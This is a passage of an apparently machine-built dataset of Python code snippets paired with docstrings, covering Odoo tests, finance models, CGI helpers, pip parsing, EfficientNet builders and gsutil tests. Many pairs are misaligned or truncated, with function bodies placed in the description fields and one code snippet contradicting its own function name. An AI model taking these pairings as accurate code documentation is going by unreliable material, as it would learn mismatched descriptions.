exits@contract(starts='ArcStarts', exits='ArcStarts', returns='ArcStarts')def _combine_finally_starts(self, starts, exits):Helper for building the cause of `finally` branches."} {"code": "def test_start_package_unreserve_no_create_error(self):\n self.menu.sudo().allow_move_create = False\n self.menu.sudo().allow_unreserve_other_moves = True\n\n package = self.env[\"stock.quant.package\"].create({})\n self._update_qty_in_location(self.shelf1, self.product_a, 10, package=package)\n picking = self._create_picking(\n picking_type=self.wh.out_type_id, lines=[(self.product_a, 10)]\n )\n picking.action_assign()\n self.assertEqual(picking.state, \"assigned\")\n barcode = self.shelf1.barcode\n params = {\"barcode\": barcode}\n response = self.service.dispatch(\"start\", params=params)\n self.assert_response(\n response,\n next_state=\"start\",\n message=self.service.msg_store.no_pending_operation_for_pack(package),\n )\n self.assertEqual(picking.state, \"assigned\")\n self.assertRecordValues(picking.package_level_ids, [{\"package_id\": package.id}])", "nl": "Test /start when the package was already reserved......for another picking type and unreserving is allowedand the option to create a move is not allowed.This test ensure that the unreservation of the first packageis rollbacked."} {"code": "def avgvar_mv(self, var0, texp):\n\n mr_t = self.mr * texp\n e_mr = np.exp(-mr_t)\n x0 = var0 - self.theta\n vv = self.vov**2/2/self.mr + self.theta**2 + \\\n ((x0**2 - self.vov**2/2/self.mr)*(1 + e_mr) + 4*self.theta * x0)*(1 - e_mr)/(2*self.mr*texp)\n return vv, None\n\n\nclass OusvSchobelZhu1998(OusvABC):\n \"\"\"\n", "nl": "Mean and variance of the variance V(t+dt) given V(0) = var_0(variance is not implemented yet)Args:var0: initial variancetexp: time stepReturns:mean, variance(=None)"} {"code": "def print_directory():\n print \"\"\"\n\n\n", "nl": "Dump the current directory as HTML.printprint \"

Current Working Directory:

\"try:pwd = os.getcwd()except os.error, msg:print \"os.error:\", escape(str(msg))else:print escape(pwd)printdef print_arguments():printprint \"

Command Line Arguments:

\"printprint sys.argvprintdef print_environ_usage():Dump a list of environment variables used by CGI as HTML."} {"code": "def getCookie(self, k):\n return self.cookies.get(k)\n", "nl": "Fetch a cookie previously set."} {"code": "def _build_egg(egg, archive_filename, to_dir):\n", "nl": "Build Setuptools egg.with archive_context(archive_filename):# building an egglog.warn('Building a Setuptools egg in %s', to_dir)_python_cmd('setup.py', '-q', 'bdist_egg', '--dist-dir', to_dir)# returning the resultlog.warn(egg)if not os.path.exists(egg):raise IOError('Could not build the egg.')class ContextualZipFile(zipfile.ZipFile):Supplement ZipFile class to support context manager for Python 2.6."} {"code": "def ignore_comments(lines_enum: ReqFileLines) -> ReqFileLines:\n for line_number, line in lines_enum:\n line = COMMENT_RE.sub(\"\", line)\n line = line.strip()\n if line:\n yield line_number, line\n\n", "nl": "Strips comments and filter empty lines."} {"code": "def read_as_coord_array(fp, fix_coords=True):\n dims, translate, scale = read_header(fp)\n raw_data = np.frombuffer(fp.read(), dtype=np.uint8)\n\n values, counts = raw_data[::2], raw_data[1::2]\n\n sz = np.prod(dims)\n index, end_index = 0, 0\n end_indices = np.cumsum(counts)\n indices = np.concatenate(([0], end_indices[:-1])).astype(end_indices.dtype)\n\n values = values.astype(np.bool)\n indices = indices[values]\n end_indices = end_indices[values]\n\n nz_voxels = []\n for index, end_index in zip(indices, end_indices):\n nz_voxels.extend(range(index, end_index))\n nz_voxels = np.array(nz_voxels)\n\n x = nz_voxels / (dims[0]*dims[1])\n zwpy = nz_voxels % (dims[0]*dims[1])\n z = zwpy / dims[0]\n y = zwpy % dims[0]\n if fix_coords:\n data = np.vstack((x, y, z))\n axis_order = 'xyz'\n else:\n data = np.vstack((x, z, y))\n axis_order = 'xzy'\n\n return Voxels(np.ascontiguousarray(data), dims, translate, scale, axis_order)\n", "nl": " Read binary binvox format as coordinates.Returns binvox model with voxels in a \"coordinate\" representation, i.e. an3 x N array where N is the number of nonzero voxels. Each columncorresponds to a nonzero voxel and the 3 rows are the (x, z, y) coordinatesof the voxel. (The odd ordering is due to the way binvox format lays outdata). Note that coordinates refer to the binvox voxels, without anyscaling or translation.Use this to save memory if your model is very sparse (mostly empty).Doesn't do any checks on input except for the '#binvox' line."} {"code": "def getVisibilityPoint(self):\n return Point3(0.0, 0.0, self.getHeight())\n\n", "nl": "this returns the point that must be visible at all times"} {"code": "def inflate( b64string ):\n decoded_data = base64.b64decode( b64string )\n return zlib.decompress( decoded_data , -15)\n\n", "nl": "Decode/decompress a base64 string. Used in powershell invokers."} {"code": "def save_diff_image(expected, actual, output):\n from matplotlib import _png\n expected_image = _png.read_png(expected)[..., :3]\n actual_image = _png.read_png(actual)[..., :3]\n actual_image, expected_image = crop_to_same(\n actual, actual_image, expected, expected_image)\n expected_image = np.array(expected_image).astype(float)\n actual_image = np.array(actual_image).astype(float)\n if expected_image.shape != actual_image.shape:\n raise ImageComparisonFailure(\n \"Image sizes do not match expected size: {} \"\n \"actual size {}\".format(expected_image.shape, actual_image.shape))\n abs_diff_image = np.abs(expected_image - actual_image)\n\n abs_diff_image *= 255 * 10\n save_image_np = np.clip(abs_diff_image, 0, 255).astype(np.uint8)\n height, width, depth = save_image_np.shape\n\n if depth == 3:\n with_alpha = np.empty((height, width, 4), dtype=np.uint8)\n with_alpha[:, :, 0:3] = save_image_np\n save_image_np = with_alpha\n\n save_image_np[:, :, 3] = 255\n\n _png.write_png(save_image_np, output)", "nl": "Parameters----------expected : strFile path of expected image.actual : strFile path of actual image.output : strFile path to save difference image to."} {"code": "def spArticlesForLang(lang):\n if lang in _SP_ART_CACHE:\n return _SP_ART_CACHE[lang]\n spArticles = addTrailingSpace(LANG_ARTICLESget(lang, GENERIC_ARTICLES))\n _SP_ART_CACHE[lang] = spArticles\n return spArticles", "nl": "Return lists of articles (plus optional spaces) specific for thegiven language, or the default one if the language is not known."} {"code": "def getfd(self, fd, name):\n return self.cmd(\"getfd %s\" % name, fd=fd)\n", "nl": "Receives a file descriptor:param fd: File descriptor to pass to QEMU:param name: File descriptor name (internal to QEMU):return: The command's output"} {"code": "def replace_patterns(x, replace):\n for from_, to in iteritems(replace):\n x = x.replace(str(from_), str(to))\n return x\n\n", "nl": "Replace `replace` in string `x`.Parameters----------s : strString on which function is appliedreplace : dict`key`, `value` pairs where key is a regular expression and `value` astring by which `key` is replaced"} {"code": "def password(self, value):\n self._context.set('ldap_pwd', value)\n if self.user is None:\n self.user = 'cn=Manager,%s' % self.ldap_suffix\n\n @property\n @required('Cannot resolve LDAP url.')", "nl": "Password, setter."} {"code": "def tf_efficientnet_cc_b0_4e(pretrained=False, **kwargs):\n kwargs['bn_eps'] = BN_EPS_TF_DEFAULT\n kwargs['pad_type'] = 'same'\n model = _gen_efficientnet_condconv(\n 'tf_efficientnet_cc_b0_8e', channel_multiplier=1.0, depth_multiplier=1.0, experts_multiplier=2,\n pretrained=pretrained, **kwargs)\n return model\n\n\n@register_model", "nl": " EfficientNet-CondConv-B0 w/ 4 Experts. Tensorflow compatible variant # NOTE for train, drop_rate should be 0.2, drop_path_rate should be 0.2kwargs['bn_eps'] = BN_EPS_TF_DEFAULTkwargs['pad_type'] = 'same'model = _gen_efficientnet_condconv('tf_efficientnet_cc_b0_4e', channel_multiplier=1.0, depth_multiplier=1.0, pretrained=pretrained, **kwargs)return model@register_modeldef tf_efficientnet_cc_b0_8e(pretrained=False, **kwargs): EfficientNet-CondConv-B0 w/ 8 Experts. Tensorflow compatible variant "} {"code": "def check_for_significant_toolchange(self,string):\n match = re.match(self.toolchange, string)\n if match is not None:\n if(self.current_tool == -1):\n self.current_tool = int(match.group(1))\n return False\n elif(self.current_tool != int(match.group(1))):\n self.last_tool = self.current_tool\n self.current_tool = int(match.group(1))\n return True\n else:\n return False\n else:\n return False\n\n", "nl": "Checks for significant toolchange(i.e. from tool 0 -> 1)Updates the current tool accordingly@param string: string to be matched to toolchange regex@return boolean: True if a significant toolchange is found"} {"code": "def get_http_connection(self, host, is_secure):\n self.clean()\n with self.mutex:\n key = (host, is_secure)\n if key not in self.host_to_pool:\n return None\n return self.host_to_pool[key].get()\n", "nl": "Gets a connection from the pool for the named host. ReturnsNone if there is no connection that can be reused."} {"code": "def delete(self):\n Return the prep BUs for this assignment\n \"\"\"", "nl": "Like most of our objects, we don't want to ever really delete it.self.hidden = Trueself.save()class TACourse(models.Model):course = models.ForeignKey(CourseOffering, blank=False, null=False, on_delete=models.PROTECT)contract = models.ForeignKey(TAContract, blank=False, null=False, on_delete=models.PROTECT)description = models.ForeignKey(CourseDescription, blank=False, null=False, on_delete=models.PROTECT)bu = models.DecimalField(max_digits=4, decimal_places=2)class Meta:unique_together = (('contract', 'course'),)def __str__(self):return \"Course: %s TA: %s\" % (self.course, self.contract)@propertydef prep_bu(self):"} {"code": "def seek(self, pos, whence=0):\n self._unsupported(\"seek\")\n", "nl": "Change stream position.Change the stream position to byte offset pos. Argument pos isinterpreted relative to the position indicated by whence. Valuesfor whence are ints:* 0 -- start of stream (the default); offset should be zero or positive* 1 -- current stream position; offset may be negative* 2 -- end of stream; offset is usually negativeSome operating systems / file systems could provide additional values.Return an int indicating the new absolute position."} {"code": "def __str__(self) -> str:\n\n __slots__ = (\"_ledger_id\", \"_body\")\n", "nl": "Get string representation.return \"SignedMessage: ledger_id={}, body={}, is_deprecated_mode={}\".format(self.ledger_id, self.body, self.is_deprecated_mode,)class State:This class represents an instance of State."} {"code": "def get_import_target(line):\n target = None\n\n match = re.search(r'^import\\ (.+)$', line)\n if match:\n target = match.groups()[0]\n else:\n match = re.search(r'^from\\ (\\S+)\\ import\\ (\\S+)(\\ as\\ .+)?$', line)\n if match:\n target = '%s.%s' % tuple(match.groups()[0:2])\n\n return target\n\n", "nl": "Canonicalize import statements into a reliable form.All ofimport foo.bar.bazfrom foo.bar import bazfrom foo.bar import baz as quuxare canonicalized tofoo.bar.bazReturns None if line does not contain an import statement. Note that we willnot catch imports done with advanced techniques (__import__, etc.)."} {"code": "def rotate(self, current_time: DateTime) -> None:\n", "nl": "Delete orders in expired future markets.self.markets.delete_orders_in_old_future_markets(last_slot_to_be_deleted=current_time)class ForwardMarketRotatorBase:Handle rotation of day-ahead markets."} {"code": "def rnet_fetch_friend_requests(self) -> t.Mapping[str, t.Any]:\n data = self.fetch(endpoint=\"/chat/v4/friendrequests\", endpoint_type=\"local\")\n return data\n", "nl": "FRIENDS_RNet_FetchFriendRequestsGet pending friend requests"} {"code": "def get_values(self):\n return self._all_options.get(self.section_name, {})\n", "nl": " Returns a dict with all extra-options with the granted section_name and config_fileResults are in the form of::{'key': [\"possible\",\"values\"]}"} {"code": "def transcribe(self, restore_model_path: Optional[str]=None) -> None:\n\n saver = tf.train.Saver()\n with tf.Session(config=allow_growth_config) as sess:\n if restore_model_path:\n saver.restore(sess, restore_model_path)\n else:\n if self.saved_model_path:\n saver.restore(sess, self.saved_model_path)\n else:\n raise PersephoneException(\"No model to use for transcription.\")\n\n batch_gen = self.corpus_reader.untranscribed_batch_gen()\n\n hyp_batches = []\n for batch_i, batch in enumerate(batch_gen):\n\n batch_x, batch_x_lens, feat_fn_batch = batch\n\n feed_dict = {self.batch_x: batch_x,\n self.batch_x_lens: batch_x_lens}\n\n [dense_decoded] = sess.run([self.dense_decoded], feed_dict=feed_dict)\n hyps = self.corpus_reader.human_readable(dense_decoded)\n\n hyps_dir = os.path.join(self.exp_dir, \"transcriptions\")\n if not os.path.isdir(hyps_dir):\n os.mkdir(hyps_dir)\n\n hyp_batches.append((hyps,feat_fn_batch))\n\n with open(os.path.join(hyps_dir, \"hyps.txt\"), \"w\",\n encoding=ENCODING) as hyps_f:\n for hyp_batch, fn_batch in hyp_batches:\n for hyp, fn in zip(hyp_batch, fn_batch):\n print(fn, file=hyps_f)\n print(\" \".join(hyp), file=hyps_f)\n print(\"\", file=hyps_f)\n", "nl": " Transcribes an untranscribed dataset. Similar to eval() exceptno reference translation is assumed, thus no LER is calculated."} {"code": "def connectCallbacks(self):\n for i in self.callbackIDs:\n pass\n", "nl": " if self.callbackIDs:self.disconnectCallbacks()# self.callbackIDs.append(om.MSceneMessage.addCallback(om.MSceneMessage.kBeforeNew, self.emitBeforeNew))# self.callbackIDs.append(om.MSceneMessage.addCallback(om.MSceneMessage.kAfterNew, self.emitAfterNew))# self.callbackIDs.append(om.MSceneMessage.addCallback(om.MSceneMessage.kBeforeOpen, self.emitBeforeOpen))# self.callbackIDs.append(om.MSceneMessage.addCallback(om.MSceneMessage.kAfterOpen, self.emitAfterOpen))# self.callbackIDs.append(om.MEventMessage.addEventCallback(\"Undo\", self.emitUndo))# self.callbackIDs.append(om.MEventMessage.addEventCallback(\"Redo\", self.emitRedo))def disconnectCallbacks(self): "} {"code": "def test_rsync_minus_d_minus_e(self):\n self.RunGsUtil(['rsync', '-d', '-e', tmpdir, suri(bucket_uri)])\n listing1 = TailSet(tmpdir, self.FlatListDir(tmpdir))\n listing2 = TailSet(suri(bucket_uri), self.FlatListBucket(bucket_uri))\n self.assertEquals(\n listing1,\n set(['/obj1', '/.obj2', '/subdir/obj3', '/symlink1', '/symlink2']))\n self.assertEquals(listing2, set(['/obj1', '/.obj2', '/subdir/obj5']))\n\n _Check1()\n\n os.unlink(bad_symlink_path)\n\n @Retry(AssertionError, tries=3, timeout_secs=1)", "nl": "Tests that rsync -e ignores symlinks.tmpdir = self.CreateTempDir()subdir = os.path.join(tmpdir, 'subdir')os.mkdir(subdir)bucket_uri = self.CreateBucket()fpath1 = self.CreateTempFile(tmpdir=tmpdir,file_name='obj1',contents=b'obj1')self.CreateTempFile(tmpdir=tmpdir, file_name='.obj2', contents=b'.obj2')self.CreateTempFile(tmpdir=subdir,file_name='obj3',contents=b'subdir/obj3')good_symlink_path = os.path.join(tmpdir, 'symlink1')os.symlink(fpath1, good_symlink_path)# Make a symlink that points to a non-existent path to test that -e also# handles that case.bad_symlink_path = os.path.join(tmpdir, 'symlink2')os.symlink(os.path.join('/', 'non-existent'), bad_symlink_path)self.CreateObject(bucket_uri=bucket_uri,object_name='.obj2',contents=b'.OBJ2')self.CreateObject(bucket_uri=bucket_uri,object_name='obj4',contents=b'obj4')self.CreateObject(bucket_uri=bucket_uri,object_name='subdir/obj5',contents=b'subdir/obj5')# Use @Retry as hedge against bucket listing eventual consistency.@Retry(AssertionError, tries=3, timeout_secs=1)def _Check1():Ensure listings match the commented expectations."} {"code": "def fill_value(self):\n return self.dtype.fill_value\n\n @fill_value.setter", "nl": "Elements in `data` that are `fill_value` are not stored.For memory savings, this should be the most common value in the array."} {"code": "def test_card_pre_enter_with_text():\n card = Card(\"title\")\n card.text = \"Hello {foo}\"\n card.text_label = mock.MagicMock()\n card.buttons = [{\"label\": \"Hello {foo}\", \"target\": \"AnotherCard\"}]\n card.screen(mock.MagicMock(), {\"foo\": \"world\"})\n card._pre_enter(card)\n assert card.text_label.text == \"Hello world\"\n assert card.button_widgets[0].text == \"Hello world\"\n\n", "nl": "The _pre_enter method is called before the card is displayed to theuser. Ensure that all textual content is updated with a formatted stringwith the data_store as potential values."} {"code": "def charmap(self):\n\n :arg source: byte string to encode.\n :returns: byte string containing encoded data.\n \"\"\"", "nl": "charmap as unicodereturn self.bytemap.decode(\"latin-1\")#===================================================================# encoding byte strings#===================================================================def encode_bytes(self, source):encode bytes to base64 string."} {"code": "def toString(self, hdr, other):\n", "nl": "String representation with additional informationresult = \"%s[%s,%s\" % (hdr, self.getType(self.type), self.getClazz(self.clazz))if self.unique:result += \"-unique,\"else:result += \",\"result += self.nameif other is not None:result += \",%s]\" % (other)else:result += \"]\"return resultclass DNSQuestion(DNSEntry):A DNS question entry"} {"code": "def _load_header(fid, pointer):\n if pointer != 0 and pointer is not None:\n fid.seek(pointer)\n temp = dict()\n (temp['id'],\n reserved,\n temp['length'],\n temp['link_count']) = _HeaderStruct.unpack(fid.read(24))\n temp['pointer'] = pointer\n return temp\n else:\n return None\n\n", "nl": " reads block's header and put in class dictParameters----------------fid : floatfile identifierpointer : intposition of block in file"} {"code": "def get_port(self, context, id, fields=None):\n pass\n\n @abc.abstractmethod", "nl": "Retrieve a port.:param context: neutron api request context:param id: UUID representing the port to fetch.:param fields: a list of strings that are valid keys in a portdictionary as listed in the:obj:`RESOURCE_ATTRIBUTE_MAP` object in:file:`neutron/api/v2/attributes.py`. Only these fieldswill be returned."} {"code": "def test_psi4_qm_2c():\n subject = copy.deepcopy(subject2)\n subject.insert(0, \"H 10,10,10,\")\n subject = \"\\n--\\n\".join(subject)\n\n with pytest.raises(qcelemental.MoleculeFormatError):\n qcelemental.molparse.from_string(subject, return_processed=True)\n\n", "nl": "double overall chg/mult specsubject = copy.deepcopy(subject2)subject.insert(0, \"1 3\\n1 3\")subject = \"\\n--\\n\".join(subject)with pytest.raises(qcelemental.MoleculeFormatError):qcelemental.molparse.from_string(subject, return_processed=True)def test_psi4_qm_2d():trailing comma"} {"code": "def main():\n r = redis.StrictRedis.from_url(os.environ['REDIS_BASE_URL'], decode_responses=True)\n\n count = 30\n\n if len(sys.argv) > 1 and sys.argv[1] == '-d':\n print('Dry Run')\n dry = True\n else:\n print('Adding u:{user}:{coll}:{rec}:open keys')\n dry = False\n\n\n for key in r.scan_iter('r:*:cdxj'):\n open_key = key.rsplit(':', 1)[0] + ':open'\n print('setex {0} {1} 1'.format(open_key, count))\n\n if not dry:\n r.set(open_key, 1, ex=count)\n\n count = count + 1\n\nif __name__ == \"__main__\":\n main()", "nl": "Recordings now get closed after inactionAdding r:user:coll:rec:open for 10 mins to all ensure current recordings have a chance to be added to"} {"code": "def fetch_new_hits_playlist_tracks(self, playlist_id, terr= KKBOXTerritory.TAIWAN):\n url = 'https://api.kkbox.com/v1.1/new-hits-playlists/%s/tracks' % playlist_id\n url += '?' + url_parse.urlencode({'territory': terr})\n return self.http._post_data(url, None, self.http._headers_with_access_token())", "nl": "Fetches new hits playlist by given ID.:param playlist_id: the playlist ID.:type playlist_id: str:param terr: the current territory.:return: API response.:rtype: dictSee 'https://docs-en.kkbox.codes/v1.1/reference#newhitsplaylists-playlist_id-tracks'"} {"code": "def WarnInvalidValue(attr_name, url_str):\n logging.getLogger().warn('%s has an invalid %s in its metadata', url_str,\n attr_name)\n\n", "nl": "Logs if an attribute has an invalid value.Args:attr_name: The name of the attribute to log.url_str: The path of the file for context."} {"code": "def dataReceived(self, data):\n if self.otherConn:\n self.otherConn.write(data)\n return\n self.buf = self.buf + data\n completeBuffer = self.buf\n if b\"\\000\" in self.buf[8:]:\n head, self.buf = self.buf[:8], self.buf[8:]\n version, code, port = struct.unpack(\"!BBH\", head[:4])\n user, self.buf = self.buf.split(b\"\\000\", 1)\n if head[4:7] == b\"\\000\\000\\000\" and head[7:8] != b\"\\000\":\n if b\"\\000\" not in self.buf:\n self.buf = completeBuffer\n return\n server, self.buf = self.buf.split(b\"\\000\", 1)\n d = self.reactor.resolve(server)\n d.addCallback(self._dataReceived2, user,\n version, code, port)\n d.addErrback(lambda result, self = self: self.makeReply(91))\n return\n else:\n server = socket.inet_ntoa(head[4:8])\n\n self._dataReceived2(server, user, version, code, port)\n\n", "nl": "Called whenever data is received.@type data: L{bytes}@param data: Part or all of a SOCKSv4 packet."} {"code": "def max(x, axis=None, keepdims=False):\n\n\n\n\n try:\n out = max_and_argmax(x, axis)[0]\n except Exception:\n out = CAReduce(scal.maximum, axis)(x)\n\n if keepdims:\n out = makeKeepDims(x, out, axis)\n return out\n\n\n@constructor", "nl": "Returns maximum elements obtained by iterating over given axis.When axis is None (the default value), the max is performedover the flattened tensor.Parameters----------keepdims: boolIf this is set to True, the axes which are reduced are left inthe result as dimensions with size one. With this option, the resultwill broadcast correctly against the original tensor.Notes-----We return an error as numpy when we reduce a dim with a shape of 0."} {"code": "def _writecheck(self, zinfo):\n arcname.\"\"\"", "nl": "Check for errors before writing a file to the archive.if zinfo.filename in self.NameToInfo:import warningswarnings.warn('Duplicate name: %r' % zinfo.filename, stacklevel=3)if self.mode not in ('w', 'x', 'a'):raise ValueError(\"write() requires mode 'w', 'x', or 'a'\")if not self.fp:raise ValueError(\"Attempt to write ZIP archive that was already closed\")_check_compression(zinfo.compress_type)if not self._allowZip64:requires_zip64 = Noneif len(self.filelist) >= ZIP_FILECOUNT_LIMIT:requires_zip64 = \"Files count\"elif zinfo.file_size > ZIP64_LIMIT:requires_zip64 = \"Filesize\"elif zinfo.header_offset > ZIP64_LIMIT:requires_zip64 = \"Zipfile size\"if requires_zip64:raise LargeZipFile(requires_zip64 +\" would require ZIP64 extensions\")def write(self, filename, arcname=None,compress_type=None, compresslevel=None):Put the bytes from filename into the archive under the name"} {"code": "def make_raw_schema(self, schema):\n fake_raw_schema = {}\n fake_raw_schema['fields'] = json.loads(schema)\n return fake_raw_schema\n", "nl": "Construct a fake schema in the manner that `make_empty_table`expects. Omits any fields that are not required."} {"code": "def save_graph(self, output_file, inputs=None):\n if inputs is None:\n save_graph(self._predict_net, output_file, op_only=False)\n else:\n size_divisibility = get_pb_arg_vali(self._predict_net, \"size_divisibility\", 0)\n device = get_pb_arg_vals(self._predict_net, \"device\", b\"cpu\").decode(\"ascii\")\n inputs = convert_batched_inputs_to_c2_format(inputs, size_divisibility, device)\n inputs = [x.numpy() for x in inputs]\n run_and_save_graph(self._predict_net, self._init_net, inputs, output_file)\n\n @staticmethod", "nl": "Save the graph as SVG format.Args:output_file (str): a SVG fileinputs: optional inputs given to the model.If given, the inputs will be used to run the graph to recordshape of every tensor. The shape information will besaved together with the graph."} {"code": "def test_guttman_lambda_a_sim(self):\n self.assertEqual(self.cmp.dist('', ''), 0.0)\n self.assertEqual(self.cmp.dist('a', ''), 1.0)\n self.assertEqual(self.cmp.dist('', 'a'), 1.0)\n self.assertEqual(self.cmp.dist('abc', ''), 1.0)\n self.assertEqual(self.cmp.dist('', 'abc'), 1.0)\n self.assertEqual(self.cmp.dist('abc', 'abc'), 0.0)\n self.assertEqual(self.cmp.dist('abcd', 'efgh'), 1.0)\n\n self.assertAlmostEqual(self.cmp.dist('Nigel', 'Niall'), 1.0)\n self.assertAlmostEqual(self.cmp.dist('Niall', 'Nigel'), 1.0)\n self.assertAlmostEqual(self.cmp.dist('Colin', 'Coiln'), 1.0)\n self.assertAlmostEqual(self.cmp.dist('Coiln', 'Colin'), 1.0)\n self.assertAlmostEqual(\n self.cmp.dist('ATCAACGAGT', 'AACGATTAG'), 0.6363636364\n )\n\n self.assertEqual(self.cmp_no_d.dist('', ''), 0.0)\n self.assertEqual(self.cmp_no_d.dist('a', ''), 1.0)\n self.assertEqual(self.cmp_no_d.dist('', 'a'), 1.0)\n self.assertEqual(self.cmp_no_d.dist('abc', ''), 1.0)\n self.assertEqual(self.cmp_no_d.dist('', 'abc'), 1.0)\n self.assertEqual(self.cmp_no_d.dist('abc', 'abc'), 0.0)\n self.assertEqual(self.cmp_no_d.dist('abcd', 'efgh'), 0.0)\n\n self.assertAlmostEqual(self.cmp_no_d.dist('Nigel', 'Niall'), 1.0)\n self.assertAlmostEqual(self.cmp_no_d.dist('Niall', 'Nigel'), 1.0)\n self.assertAlmostEqual(self.cmp_no_d.dist('Colin', 'Coiln'), 1.0)\n self.assertAlmostEqual(self.cmp_no_d.dist('Coiln', 'Colin'), 1.0)\n self.assertAlmostEqual(\n self.cmp_no_d.dist('ATCAACGAGT', 'AACGATTAG'), 1.0\n )\n\n\nif __name__ == '__main__':\n unittest.main()", "nl": "Test abydos.distance.GuttmanLambdaA.sim.# Base casesself.assertEqual(self.cmp.sim('', ''), 1.0)self.assertEqual(self.cmp.sim('a', ''), 0.0)self.assertEqual(self.cmp.sim('', 'a'), 0.0)self.assertEqual(self.cmp.sim('abc', ''), 0.0)self.assertEqual(self.cmp.sim('', 'abc'), 0.0)self.assertEqual(self.cmp.sim('abc', 'abc'), 1.0)self.assertEqual(self.cmp.sim('abcd', 'efgh'), 0.0)self.assertAlmostEqual(self.cmp.sim('Nigel', 'Niall'), 0.0)self.assertAlmostEqual(self.cmp.sim('Niall', 'Nigel'), 0.0)self.assertAlmostEqual(self.cmp.sim('Colin', 'Coiln'), 0.0)self.assertAlmostEqual(self.cmp.sim('Coiln', 'Colin'), 0.0)self.assertAlmostEqual(self.cmp.sim('ATCAACGAGT', 'AACGATTAG'), 0.3636363636)# Tests with alphabet=0 (no d factor)self.assertEqual(self.cmp_no_d.sim('', ''), 1.0)self.assertEqual(self.cmp_no_d.sim('a', ''), 0.0)self.assertEqual(self.cmp_no_d.sim('', 'a'), 0.0)self.assertEqual(self.cmp_no_d.sim('abc', ''), 0.0)self.assertEqual(self.cmp_no_d.sim('', 'abc'), 0.0)self.assertEqual(self.cmp_no_d.sim('abc', 'abc'), 1.0)self.assertEqual(self.cmp_no_d.sim('abcd', 'efgh'), 1.0)self.assertAlmostEqual(self.cmp_no_d.sim('Nigel', 'Niall'), 0.0)self.assertAlmostEqual(self.cmp_no_d.sim('Niall', 'Nigel'), 0.0)self.assertAlmostEqual(self.cmp_no_d.sim('Colin', 'Coiln'), 0.0)self.assertAlmostEqual(self.cmp_no_d.sim('Coiln', 'Colin'), 0.0)self.assertAlmostEqual(self.cmp_no_d.sim('ATCAACGAGT', 'AACGATTAG'), 0.0)def test_guttman_lambda_a_dist(self):Test abydos.distance.GuttmanLambdaA.dist."} {"code": "def launch_time(self):\n return self._get_tag(PCLUSTER_NODE_TYPE_TAG)\n\n @property", "nl": "Return launch time of the instance.return self._instance_data.get(\"LaunchTime\")@propertydef node_type(self) -> str:Return node type of the instance."} {"code": "def remove(self):\n _LOGGER.debug('Clear watchdog: %r:%s', self.name, self.timeout)\n try:\n os.unlink(self.filename)\n\n except OSError as err:\n if err.errno != errno.ENOENT:\n raise\n", "nl": "Remove a watchdog."} {"code": "def __nonzero__(self):\n return self.ok\n", "nl": "Returns True if :attr:`status_code` is less than 400.This attribute checks if the status code of the response is between400 and 600 to see if there was a client error or a server error. Ifthe status code, is between 200 and 400, this will return True. Thisis **not** a check to see if the response code is ``200 OK``."} {"code": "def __init__(self, attributes=None):\n super(OntGFrame, self).__init__(OntG, 0,\n MEFrame._attr_to_data(attributes))\n\n\nclass Ont2GFrame(MEFrame):\n \"\"\"", "nl": ":param attributes: (basestring, list, set, dict) attributes. For getsa string, list, or set can be provided. For create/setoperations, a dictionary should be provided, fordeletes None may be specified."} {"code": "def stop(self, _):\n self._registration.unregister()\n self._registration = None\n\n\n\n\nclass _ProxyDummy(object):\n \"\"\"\n", "nl": "Bundle stopped"} {"code": "def save_state(obj: keras.models.Model or keras.optimizers.Optimizer, path: str):\n if isinstance(obj, keras.models.Model):\n if not path.endswith('.h5'):\n path += '.h5'\n obj.save_weights(path)\n elif isinstance(obj, keras.optimizers.Optimizer):\n if not path.endswith('.pkl'):\n path += '.pkl'\n weights = obj.get_weights()\n with open(path, 'wb') as f:\n pickle.dump(weights, f)\n else:\n raise ValueError(\"obj must be a Keras model or optimizer\")\n\n", "nl": "Write the state of a module or optimizer to a file.See Also:`load_state()`Args:obj: `keras.models.Model or keras.optimizers.Optimizer`path: File path as `str`."} {"code": "def setUA(self, UA=\"\"):\n ua = UA if UA else self.randua()\n self.setHeader(\"User-Agent\", ua)\n", "nl": "set default User Agent"} {"code": "def form_post_success(state, msg='', redirect_url=None):\n request, response = state['request'], state['response']\n if request.headers.get(b'X-Requested-With') == b'XMLHttpRequest':\n raise response.json({\"msg\": msg} if msg else {})\n else:\n if not redirect_url:\n redirect_url = request.body.get('back_to') or request.line.uri.decoded\n redirect_url = response.sanitize_untrusted_url(redirect_url)\n redirect_url = _modify_query(redirect_url, 'success', b64encode_s(msg))\n response.redirect(redirect_url)\n\n", "nl": "This function is meant to be called after a successful form POST."} {"code": "def autokeying_options(cls, context: Context) -> Optional[set[str]]:\n\n is_bone = isinstance(target, PoseBone)\n if is_bone:\n group = target.name\n else:\n group = \"Object Transforms\"\n", "nl": "Retrieve the Auto Keyframe options, or None if disabled.ts = context.scene.tool_settingsif not ts.use_keyframe_insert_auto:return Noneif ts.use_keyframe_insert_keyingset:# No support for keying sets (yet).return Noneprefs = context.preferencesoptions = cls.keying_options(context)if prefs.edit.use_keyframe_insert_available:options.add(\"INSERTKEY_AVAILABLE\")if ts.auto_keying_mode == \"REPLACE_KEYS\":options.add(\"INSERTKEY_REPLACE\")return options@staticmethoddef get_4d_rotlock(bone: PoseBone) -> Iterable[bool]:\"Retrieve the lock status for 4D rotation.\"if bone.lock_rotations_4d:return [bone.lock_rotation_w, *bone.lock_rotation]else:return [all(bone.lock_rotation)] * 4@staticmethoddef keyframe_channels(target: Union[Object, PoseBone],options: set[str],data_path: str,group: str,locks: Iterable[bool],) -> None:if all(locks):returnif not any(locks):target.keyframe_insert(data_path, group=group, options=options)returnfor index, lock in enumerate(locks):if lock:continuetarget.keyframe_insert(data_path, index=index, group=group, options=options)@classmethoddef key_transformation(cls,target: Union[Object, PoseBone],options: set[str],) -> None:Keyframe transformation properties, avoiding keying locked channels."} {"code": "def isowner(self, o):\n return self._owner is not None\n\n\nclass Widget(object):\n \"\"\"\n drawon = True\n eventson = True\n _active = True\n", "nl": "Return whether *o* owns this lock.return self._owner is odef locked(self):Return whether the lock is currently held by an owner."} {"code": "def get_seg_similarity(bursty_segment_weights, time_window):\n print('Computing similarity between bursty segments')\n seg_sim = {}\n bursty_segments = list(bursty_segment_weights.keys())\n n = len(bursty_segments)\n\n for i in range(n):\n seg_sim[i] = {}\n seg_sim[i][i] = 1\n\n for i in range(n):\n seg1_name = bursty_segments[i]\n print(i+1, seg1_name, str(bursty_segment_weights[seg1_name])[:7])\n for j in range(i+1, n):\n seg2_name = bursty_segments[j]\n sim = time_window.get_segment_similarity(seg1_name, seg2_name)\n seg_sim[i][j] = sim\n seg_sim[j][i] = sim\n\n return seg_sim", "nl": "return a dict of similarity between segments where keys are index of segment in bursty_segments"} {"code": "def 